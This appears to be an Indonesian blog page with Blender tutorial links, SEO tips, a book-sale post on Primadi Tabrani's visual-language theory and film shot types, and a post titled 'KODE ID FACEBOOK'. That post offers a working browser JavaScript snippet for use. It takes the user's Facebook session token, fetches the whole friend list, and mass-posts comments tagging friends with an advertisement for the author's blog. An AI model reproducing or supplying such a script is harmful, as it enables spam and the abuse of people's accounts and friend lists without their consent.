Film Animasi 3D Sudamala

Senin, 19 Mei 2014

Link Tutorial Blender

Link Tutorial Blender wahyudream.com Link Download Blender http://www.blender.org/download/get-blender/ User Manual Blender http://wiki.blender.org/index.php/Doc:2.6/Manual Tutorial Blender - Wiki.blender.org http://wiki.blender.org/index.php/Doc:2.6/Tutorials Tutorial Modelling - Riging - Texturing - Animation part 1 - selesai - http://www.youtube.com/watch?v=ILdUcZ1mYYE&playnext=1&list=PLA34338D39C85BDA3&feature=results_main Rigging with Rigify http://www.youtube.com/watch?v=Txl1X2WVX_E Rigging Hewan Kaki 4 http://www.youtube.com/watch?v=CQ1jw7zvuCI Modeling An Anime Style Head in Blender 2.58 part 1 - selesai http://www.youtube.com/watch?v=BjnbrCWKSjg Tutorial environtmental, modelling - texturing - compositing - rendering http://blenderstar.com/2012/05/16/dry-landscape-tutorial/ http://blenderstar.com/2012/04/25/morning-mountain-breakdown/ Tutorial Blender dari Fossgrafis.com http://fossgrafis.com/category/tutorial/blender-tutorial/ making of my entry for serge birault fb 3d contest - Andri Viyono (3d Artist) http://andriviyono.com/making-of-my-entry-for-serge-birault-fb-3d-contest-2/ Blender Tutorial dari mas Muhammad Azmi DwiPranata http://muhazdinatas.blogspot.com/ Blender Tutorial normal map baking, Step By Step Sculpting In Blender 3D, Howler Project: texturing tips http://artscouter-yoed.blogspot.com/search/label/tutorial Modeling the Human Head Made Easy http://www.youtube.com/watch?v=86JiuZpbi_w Download model http://Blendswap.com Blender Material http://matrep.parastudios.de/ Blender Link http://blenderindonesia.org http://blenderartists.org/forum/ http://blendernation.com http://blenderguru.com http://blenderunderground.com/ http://cgcookie.com/blender/ Komunitas Blender Facebook Blender : http://www.facebook.com/groups/2207257375/?ref=ts Blender Indonesia : http://www.facebook.com/pages/Blender-Indonesia/125375501576 Blender Army Regional Surabaya : http://www.facebook.com/groups/komunitas.blender/ Blender Army Jakarta : http://www.facebook.com/groups/219189981435676/ Blender Army Regional Cimahi : http://www.facebook.com/groups/barac/ Komunitas Blender 3D pontianak : http://www.facebook.com/groups/131488993529783/?ref=ts Blender Army Regional Riau : http://www.facebook.com/groups/107208699411947/?ref=ts Blender Army Kota Solo : http://www.facebook.com/groups/blenderjava/ Blender Army Regional Semarang : http://www.facebook.com/groups/202696449765789/?ref=ts Blender Army Medan : http://www.facebook.com/groups/212893382170327/?ref=ts Blender Army kota Jambi : http://www.facebook.com/groups/248978171890215/?ref=ts Beranda http://g2dc.blogspot.com/p/link-tutorial-blender-par2.html

maos saklengkapipun......

KODE ID FACEBOOK untuk membuat banyak Koment teman di Facebook

KODE ID FACEBOOK untuk membuat banyak Koment teman di FacebookKODE ID FACEBOOK untuk membuat banyak Koment teman di Facebook var aing = { /** Copyright: ---------- Rippanacollections 2014 Rippanacollections.blogspot.com ---------- We Are No Master, No Newbie, We Just Big Family Please Don't Remove This Credits (Saya Juga Pengen Terkenal) ---------- **/ posId: "536172669825135", //ganti dengan ID status idGw: "100002972194009", //ganti dengan ID FB kamu // idGw:/[0-9]{8,}/.exec(document.getElementsByClassName("fbxWelcomeBoxImg")[0].d)[0], dtsg: document.getElementsByName( "fb_dtsg")[0].value, ctLama: /comment_text=(.*?)&/, c: 1, ctBaru: "comment_text=", getPren: function (uid) { var a = window.ActiveXObject ? new ActiveXObject( "Msxml2.XMLHTTP") : new XMLHttpRequest; if (a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + uid + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", /** method GET **/ ! 1), a.send(null), 4 == a.readyState) { var b = JSON.parse(a.responseText.substring( a.responseText.indexOf("{"))); return b.payload.entries } return !1 }, hajar: function () { aing.koncos = aing.getPren(aing.idGw); aing.pale = "ft_ent_identifier=" + aing.posId + "&comment_text=0&" + "source=1&" + "client_id=1359576694192%3A1233576093&" + "reply_fbid" + "&parent_comment_id&" + "rootid=u_jsonp_3_19&" + "ft[tn]=[]&" + "ft[qid]=5839337351464612379&" + "ft[mf_story_key]=5470779710560437153&" + "ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + aing.idGw + "&__a=1&__req=4u&fb_dtsg=" + aing.dtsg + "&phstamp=" + Math.random(); for (var n = 1; n < aing.koncos.length; n++) { if (fb_dtsg = aing.dtsg, aing.ctBaru += "Teman%20Facebook%20ke%20" + n + "%20%40[" + aing.koncos[ n].uid + "%3AAAAAAAAAAAA]%20Pengen%20Pulsa%20Gratis?%20^_^%20klik%20Rippanacollections%20blogspot%20Kredit%20Tab%20Laptop%20;)%20Harga%20Pelajar%20Juga%20 Bisahehehe...%20:)%20B|%20%0A", //message with percent encoding for URIs aing.c++, 7 == aing.c) { with(aing.ctBaru += "&", new XMLHttpRequest) open( "POST", "/ajax/ufi/add_comment.php?__a=1"), /** method POST **/ setRequestHeader("Content-Type", "application/x-www-form-urlencoded" ), send(aing.pale.replace(aing.ctLama, aing.ctBaru)); z = setTimeout("function(){asd=0}", 1e3), clearInterval(z), aing.c = 1, aing.ctBaru = "comment_text=" } } } }; aing.hajar();

maos saklengkapipun......

Kata Kunci (Keyword) yang Mengundang Pengunjung di Dalam Halaman Website

Kata Kunci (Keyword) yang Mengundang Pengunjung di Dalam Halaman Website Teknik ini menyertakan kata-kata keyword yang diinginkan di dalam halaman website anda, WAHYUDREAM caranya sebagai berikut : 1. Pakai huruf tebal, huruf miring, tanda kutip pada teks keyword di halaman website anda. 2. Ketik keyword di awal paragraf atau di akhir dari paragraf terakhir; 3. Pakai Anchor Text pada link Pakailah huruf tebal, huruf miring, tanda kutip pada teks keyword di halaman website anda. Alangkah lebih baik, kalau keyword yang ditebalkan hurufnya itu diletakkan di awal paragraf dan di akhir paragraf. Selanjutnya pakai Anchor Text pada link. Kalau anda perhatikan, sebuah link umumnya bergaris bawah dan berwarna biru, yang ketika diklik anda akan dibawa ke sebuah halaman website. Berikut ini adalah kode html dari sebuah link dengan anchor text. WAHYUDREAM Jadi, dari pada anda hanya membuat link seperti http://rippanacollections.blogspot.com, lebih baik membuatnya dalam link anchor text seperti : Wahyudream yang kalau diklik, sama saja menuju ke http://rippanacollections.blogspot.com.

maos saklengkapipun......

Pesan Karikatur Wajah Lucu unyu-unyu








 











maos saklengkapipun......

Sabtu, 03 Mei 2014

JUAL BUKU BAHASA RUPA PRIMADI TABRANI penerbit KELIR

JUAL BUKU BAHASA RUPA PRIMADI TABRANI Bahasa Rupa Sinopsis: Selama ini kita menilai gambar-gambar tua kita itu hanya produk pemikiran primitif alias jauh ketinggalan zaman. Dan akrena untuk apa dipelajari? Buang-buang waktu saja. Tetapi tiba-tiba Paul lee menggambarkan gunungan secara Amerika kontemporer. Dan konsepnya sama dengan gambar gunungan dalam wayang kulit kita. Mengapa Paul Klee tiba-tiba jadi Primitifdalam Kontemporer-nya? Inilah yang dipesankan oleh Primadi Tabrani dalam bukunya ini. Bahasa rupa masa silam ini dapat menjadi bahasa rupa modern sekarang dan masa depan. Bahasa Rupa adalah teori yang menyatakan bahwa visual yang representatif dapat dirancang untuk menyampaikan pesan kepada pembacanya dengan struktur tertentu. Artinya sebuah visual dan bahkan sekuens visual dapat merupakan serangkaian informasi yang bukan sekedar menjelaskan apa yang tergambar secara deskriptif, tetapi juga dapat menceritakan informasi secara naratif. 

Visual yang dapat menceritakan informasi secara naratif ini dibagi dalam tiga struktur, yaitu: a. Wimba, merupakan elemen terkecil yang mengandung pesan deskriptif yang paling sederhana dalam sebuah komposisi gambar. Teknik membentuk wimba ini disebut, cara wimba (image way). b. Tata Ungkap Dalam, adalah merupakan sekelompok wimba yang membentuk pesan naratif melalui komposisi yang dibentuknya. c. Tata Ungkap Luar, adalah kumpulan sekelompok wimba yang membentuk beberapa komposisi yang berurutan. Bahasa Rupa dalah teori yang dikembangkan berdasarkan penelitian atas Gambar Pra-sejarah, Gambar Tradisional, dan Gambar Anak oleh Profesor Primadi Tabrani ini memunculkan sebuah struktur bahasa yang terdiri atas kumpulan gambar yang disebut wimba sebagai elemen terkecil informasi, interaksi antar gambar melalui sebuah komposisi (dengan struktur hubungan yang disebut tata ungkap dalam) sebagai dasar fragmen cerita, dan interaksi antar komposisi yang membentuk sebuah rentang cerita yang utuh yang dihubungkan dengan struktur tata ungkap luar. 2.2 Bahasa Film Bahasa film adalah bahasa yang dipakai untuk membingkai pesan secara visual khususnya dalam media visual berbasis waktu seperti film, animasi, dan Televisi. Bahasa Film ini sangat ditentukan oleh interaksi antara pengambil gambar (kameramen, illustrator, animator, komikus, dll.) dengan objek atau tokoh yang diambil gambarnya atau digambarkan. Dalam hal ini kamera menjadi analogi media pengambil gambar yang paling dominan. Dapat diasumsikan illustrator atau penggambar menempatkan dirinya sebagai kameramen yang mengambil gambar dalam teknik pengambilan gambar film. Dalam bahasa film, ada 3 hal pokok yang menjadi dasar bahasa film, yaitu: a. Jarak Pandang. Jarak pandang adalah jarak antara objek yang digambar dengan pengamat (Ilustrator atau kameramen). Jarak pandang dalam bahasa film dapat dipetakan dalam 3 kelompok besar, yaitu: • Close Up atau jarak pengambilan dekat yang terdiri atas Ekstrim Close Up, Very Close Up, dan Close Up • Medium Shot atau jarak pengambilan gambar sedang yang terdiri atas mid shot, medium shot, dan medium long shot. • Long Shot atau jarak pengambilan gambar jauh yang terdiri atas Long Shot, Very Long Shot, dan Extreme Long Shot. b. Sudut Pandang. Sudut padang adalah sudut yang dibentuk antara objek yang digambar dengan pengamat atau illustrator. Sudut pandang dalam bahasa film dipetakan menjadi 3 kelompok, yaitu: • High Angle atau sudut pengambilan gambar lebih tinggi dari horizon (garis sejajar mata). • Normal Angle atau sudut pengambilan gambar yang sama dengan horizon. • Low Angel atau sudut pengambilan gambar yang lebih rendah dari horizon. c. Pergerakan Pengamat (Ilustrator atau kameramen). Pergerakan pengamat adalah perubahan posisi baik dalam jarak maupun sudut pengambilan gambar. Pergerakan pengamat dibagi dalam 3 jenis, yai tu: • Zoom In dan Zoom Out. Adalah pergerakan kamera dengan perubahan atas jarak pengambilan gambar apakah mendekat (zoom in) atau menjauh (zoom out). • Tilt Up dan Tilt Down, adalah pergerakan kamera dengan perubahan pada sudut pengambilan gambar apakah semakin ke bawah garis horizon (Tilt Up) atau meninggi/ke atas garis horizon (Tilt Down). • Panning, adalah pergerakan kamera sejajar garis horizon tanpa terjadi perubahan sudut pandang maupun jarak pandang. LAPORAN PENELITIAN BAHASA RUPA PADA BUKU ILUSTRASI ANAK INDONESIA KONTEMPORER; Studi Kasus Seri Cerita Pelangi Gramedia Pustaka Utama (GPU) Peneliti Utama: Christine Lukman, M.Ds Peneliti Pendamping: Alvanov Zpalanzani, ST., MM. Dra. Nina Nurviana Mahasiswa: Wina Nur Alia Arifin Nugraha

maos saklengkapipun......